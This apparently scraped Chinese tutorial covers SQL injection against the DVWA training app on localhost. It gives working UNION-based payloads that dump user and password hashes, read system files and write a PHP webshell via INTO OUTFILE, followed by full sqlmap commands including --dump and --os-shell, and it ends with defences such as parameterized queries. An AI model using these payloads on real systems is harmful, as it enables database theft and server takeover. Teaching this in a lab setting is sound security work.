网络安全之sql注入

1.何为Sql注入?

所谓SQL注入,就是经过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来讲,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它能够经过在Web表单中输入(恶意)SQL语句获得一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。好比先前的不少影视网站泄露VIP会员密码大多就是经过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.--百度百科之Sql注入php

那sql注入的原理是啥呢?html

简单点说,你们都知道,咱们网站的一些数据都要通过数据库去查询,咱们只要找到服务器对某些某些请求缺乏校验,就能找到漏洞
举个例子:
Select *from TableA where id="B"这个是个很正常的一个sql查询语句
注入的本质就是把用户输入的数据当作代码去执行,这里有两个关键条件,一就是用户能控制输入,二就是本来程序要执行的代码拼接了用户输入的数据
这里假设B咱们能够控制咱们可使代码变成如下方式
Select *from TableA where id='';drop table TableA--''
显而易见,若是数据库执行了此条语句将会把表TableA给删除了,带来了不可预料的影响。
Sql注入漏洞的典型危害是能够被用来获取数据库敏感数据(拖裤)java

sql注入都有哪些类型呢?
①.sql盲注,包括布尔盲注和时间注入。
②.sql回显注入,包括报错注入和union联合查询注入。咱们今天主要讲的就是sql回显注入。python

2.sql注入实战

(1)sql注入的流程

(2)工具、测试平台及靶机的搭建

①.DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试本身的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

DVWA传送门mysql

②.因为dvwa是一个php和mysql的环境,故我使用了功能强大的建站集成软件包XAMPP(Apache+MySQL+PHP+PERL)

具体的搭建流程有兴趣的同窗能够去下载来看看
DVWA+XAMPP搭建流程传送门web

③.火狐hackbar插件

hackbar使用教程传送门正则表达式

(3)sql注入测试

声明:由于测试平台数据库为mysql,因此接下来的测试语句所有为mysql语句sql

①.首先咱们先把dvwa的安全模式设置为low模式,以便于咱们进行测试。
shell

②.咱们选择sql注入栏目,判断是否有sql注入
在渗透一个web应用时咱们首先要了解业务,咱们先输入一个正常的数字
数据库

固然,咱们也能够用咱们熟悉的postman来请求http

那咱们输入数据时,web应用为何能返回咱们须要的数据呢?
在座的各位都是这方面的老司机,对于web数据交互都很熟悉。

经过这个流程,咱们彻底能够猜想下这个sql语句长什么样子。
select Firstname,Surname from 表 where userid=咱们输入的id

那咱们如今猜想了sql语句,可是要怎么去测试有没有漏洞呢?
咱们发现当输入数据时url是发生变化的。

咱们尝试输入1',web程序给咱们以下的回显:

从回显信息中咱们能够看出,在1'附近有sql错误,那就证实了有可注入点,由于咱们输入1时是正确的,可是输入了1'却出现了错误。

那咱们如何去测试验证这个web程序的漏洞呢?如下是三种经常使用的注入POC(验证性观点测试)

当咱们输入 1' or '1'='1 时,咱们发现,web程序回显出一堆的数据:

咱们发现,这里已经执行成功了,证实sql语句被正常执行了

③.读取数据
那根据咱们刚才讲的sql注入流程,咱们判断完sql注入后,咱们接下来即是要获取数据
咱们都知道,sql中的引号是要闭合的,在sql注入中,常用注释符,来构造闭合的语句,在mysql中注释符后应加空格,不然会报错。

在获取数据以前,咱们还要作一件很重要的事,那就是肯定查询的字段数
咱们输入 1' order by 10-- ,web程序给咱们如下的回显

证实了字段数必定小于10,那咱们如今如何去肯定字段数呢,咱们采用二分法,一步步去看字段数是为几。

咱们尝试了几个后,发现3仍是太大,那就是说明字段数为2.

接下来咱们就要肯定sql注入的回显点
咱们使用 xx' union select 1,2-- 语句来肯定回显点

此时的sql语句应该是变做 select Firstname,Surname from 表 where userid='xx' union select 1,2--' 这样Firstname,Surname显示的数据即是咱们union查询的数据

接下来咱们查看下数据库的版本和数据库存放的目录

咱们也可使用 xx' union select user(),database()-- 语句获取用户名和数据库名

既然咱们能查到这些信息,那么咱们是否也能查询到数据库的全部信息呢?答案是确定的。
接下来咱们知道数据库就可使用 xx' union select 1,table_name from information_schema.tables where table_schema='dvwa'-- 来查询表名

知道了表名,咱们就可使用 xx' union select 1,column_name from information_schema.columns where table_name='user'-- 来查询列名

咱们就能够发现其中用户名和密码都为敏感数据。咱们的目的就是要查询出这两个信息

接下来咱们就能够查询用户名及密码等敏感数据,咱们使用 xx' union select user,password from users-- 来查询数据

咱们发现密码是一串hash串,数了一下是32位,就极有多是md5加密,去用解密工具解密一下,就获得了明文的密码。

咱们不仅仅能够获取数据库的敏感数据,咱们也能够获取系统的敏感数据,咱们使用 xx' union select 1,load_file("c:\windows\win.ini")--

固然,咱们都想把一个漏洞利用最大化,除了能获取数据外,最理想的固然是控制服务器,最多见的就是写入webshell,咱们上节课已经讲过了webshell和一句话木马
PHP一句话木马:
接下来咱们要作的就是如何把这个一句话木马写入。咱们要写入一句话木马,就得知道应该写入哪里,这里要知道web应用程序的物理路径。经常使用的方法就是经过引起异常,致使应用报错,爆出物理路径。
xx' union select "xx","xx" into outfile "xx"--

xx' union select " ","webshell" into outfile "C:\xampp\htdocs\dvwa\vulnerabilities\sqli\1.php"--

咱们经过上节课讲的中国菜刀进行访问,就能够进入文件管理了:

学到这里,同窗们可能就清楚了整个流程,可是会有同窗问了,整个sql注入较为复杂,能不能有工具进行自动化注入呢? 接下来咱们就咱们学习一款注入神器工具--sqlmap

3.Sqlmap工具的使用

(1)Sqlmap为什么被称为神器?

①.支持的数据库:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase,SAP MaxDB,HSQLDB and Informix
支持的数据库范围极广,大部分经常使用的数据库都是支持的。

②.支持的参数位置:GET,POST or Cookie parameters or via the HTTP User-Agent request header

③.支持多种注入模式
基于布尔的盲注,便可以根据返回页面判断条件真假的注入。

基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增长)来判断。

基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

联合查询注入,可使用union的状况下的注入。

堆查询注入,能够同时执行多条语句的执行时的注入。

备注:
Youtube上有人作的使用sqlmap的视频:
http://www.youtube.com/user/inquisb/videos
http://www.youtube.com/user/stamparm/videos
使用sqlmap的实例文章:
http://www.kali.org.cn/thread-22844-1-1.html
http://www.javashuo.com/article/p-puopmlof-e.html

(2).sqlmap的基本语法

咱们学习一个命令窗口的使用,首先要调出他的帮助菜单,sqlmap的帮助菜单命令为:
-h,--helper
-hh 这是更为详细的帮助菜单命令
sqlmap帮助菜单中文版传送门

(3).判断注入点

命令:python sqlmap.py -u "目标URL"
那这边咱们就使用-u命令进行注入执行
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=u2mj5vt49529rn6oerk7o50515"

(4)获取数据

①.咱们首先来获取下当前的用户和数据库名:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=u2mj5vt49529rn6oerk7o50515" --current-user --current-db

②.接下来咱们根据刚才的流程咱们获取下表:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa --tables

③.而后就是字段名:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa -T users --columns

④.获取用户名和密码:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa -T users -C "user,password" --dump
使用-c指定字段 使用--dump获取数据

他会自动帮咱们的数据下载成csv格式保存


⑤.咱们前面讲了能够上传webshell,其实sqlmap也是能够的
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa -T users -C "user,password" --os-shell

咱们也能够用中国菜刀直接去连

接下来咱们把dvwa安全级别上升,改成Medium级别,咱们如今来看下sql注入测试界面有何变化?

咱们发现原来的输入框改为了下拉框,不是由咱们输入而是让咱们选择。
咱们知道,数据的提交都是http请求,咱们先试着选择1,而后打开谷歌开发者工具(F12),点击提交,咱们能够看到,请求由原来的get请求变成了post请求,参数不变。

这个时候咱们就发现,其实跟咱们以前差很少,咱们也能够经过去改变参数。
咱们能够经过一些抓包改包的工具去进行修改post参数。
这里值得注意的是当咱们像简单模式同样注入sql语句xx' union select user(),database()--时,咱们会发现引号会被转义符转义掉,此时咱们直接去掉引号便可
咱们这里换成postman请求http

那咱们也能够用sqlmap
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium;PHPSESSID=6lu0cd67q0m9s0vpck6mug2sl5" --current-user --current-db

接下来就跟咱们初级的作法同样了,这里就不一一赘述。

咱们再把安全级别调成High,咱们看下界面变成什么样?

咱们能够清晰的看到,界面变成了点击弹出一个窗口,在弹出的窗口处输入数据,提交后回显到原来的界面,咱们用low模式下的注入方法尝试,没有任何问题,都是能够的。
可是咱们看看在sqlmap下能够嘛,咱们发现不在同一个页面,致使不能够,那sqlmap有没有其余命令能够支持这个的呢?

python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/session-input.php/" --data "id=1&Submit=Submit" -p "id" --cookie "security=high;PHPSESSID=6lu0cd67q0m9s0vpck6mug2sl5" --second-url "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/" --current-user --current-db

4.sql注入的防护

(1).减小错误消息提示

应用的异常信息应该给出尽量少的提示(关闭debug调试模式),最好使用自定义的错误信息对原始错误信息进行包装。

(2).部署硬件防火墙

部署硬件web防火墙(WAF),可有效防止SQL注入等攻击。

(3).消除特殊字符,对字符串进行过滤

永远不要信任用户的输入。对用户的输入进行校验,能够经过正则表达式,或限制长度,对单引号与及特殊字符进行转换等。从以上的sql注入攻击实战咱们能够发现,大部分的sql注入都须要填入一些特殊字符,好比引号和等号或者or等关键字

这个是咱们平台的登陆界面,就是采用了消除特殊字符的方法,一旦有特殊字符,便返回输入不合法,从根源断绝sql注入。

(4)sql预编译传参

尽可能不要使用动态拼装sql,可使用参数化的sql或者直接使用存储过程进行数据查询存取.在使用参数化查询的状况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成SQL指令的编译后,才套用参数运行,所以就算参数中含有指令,也不会被数据库运行。Access、SQL Server、MySQL、SQLite等经常使用数据库都支持参数化查询。

C#  sqlservers
	 //string sql = "select *from User_Info where User_SN=@UserNO and User_Pwd=@pwd and Grade_SN=@sel";
        //SqlParameter[] pars ={
        //                    new SqlParameter("@UserNO",SqlDbType.NVarChar,15),
        //                    new SqlParameter("@pwd",SqlDbType.NVarChar,15),
        //                    new SqlParameter("@sel",SqlDbType.NVarChar,15)
        //                    };
        //pars[0].Value = UserNO;
        //pars[1].Value = pwd;
        //pars[2].Value = sel;

        string sql =string.Format(@"select *from User_Info where User_SN={0} and User_Pwd={1} and Grade_SN={2}",UserNO,pwd,sel);

java  MySQL
stmt.executeUpdate("insert into tb_name (col1,col2,col2,col4) values ('"+var1+"','"+var2+"',"+var3+",'"+var4+"')");
perstmt = con.prepareStatement("insert into tb_name (col1,col2,col2,col4) values (?,?,?,?)");
perstmt.setString(1,var1);
perstmt.setString(2,var2);
perstmt.setString(3,var3);
perstmt.setString(4,var4);
perstmt.executeUpdate();
相关文章
相关标签/搜索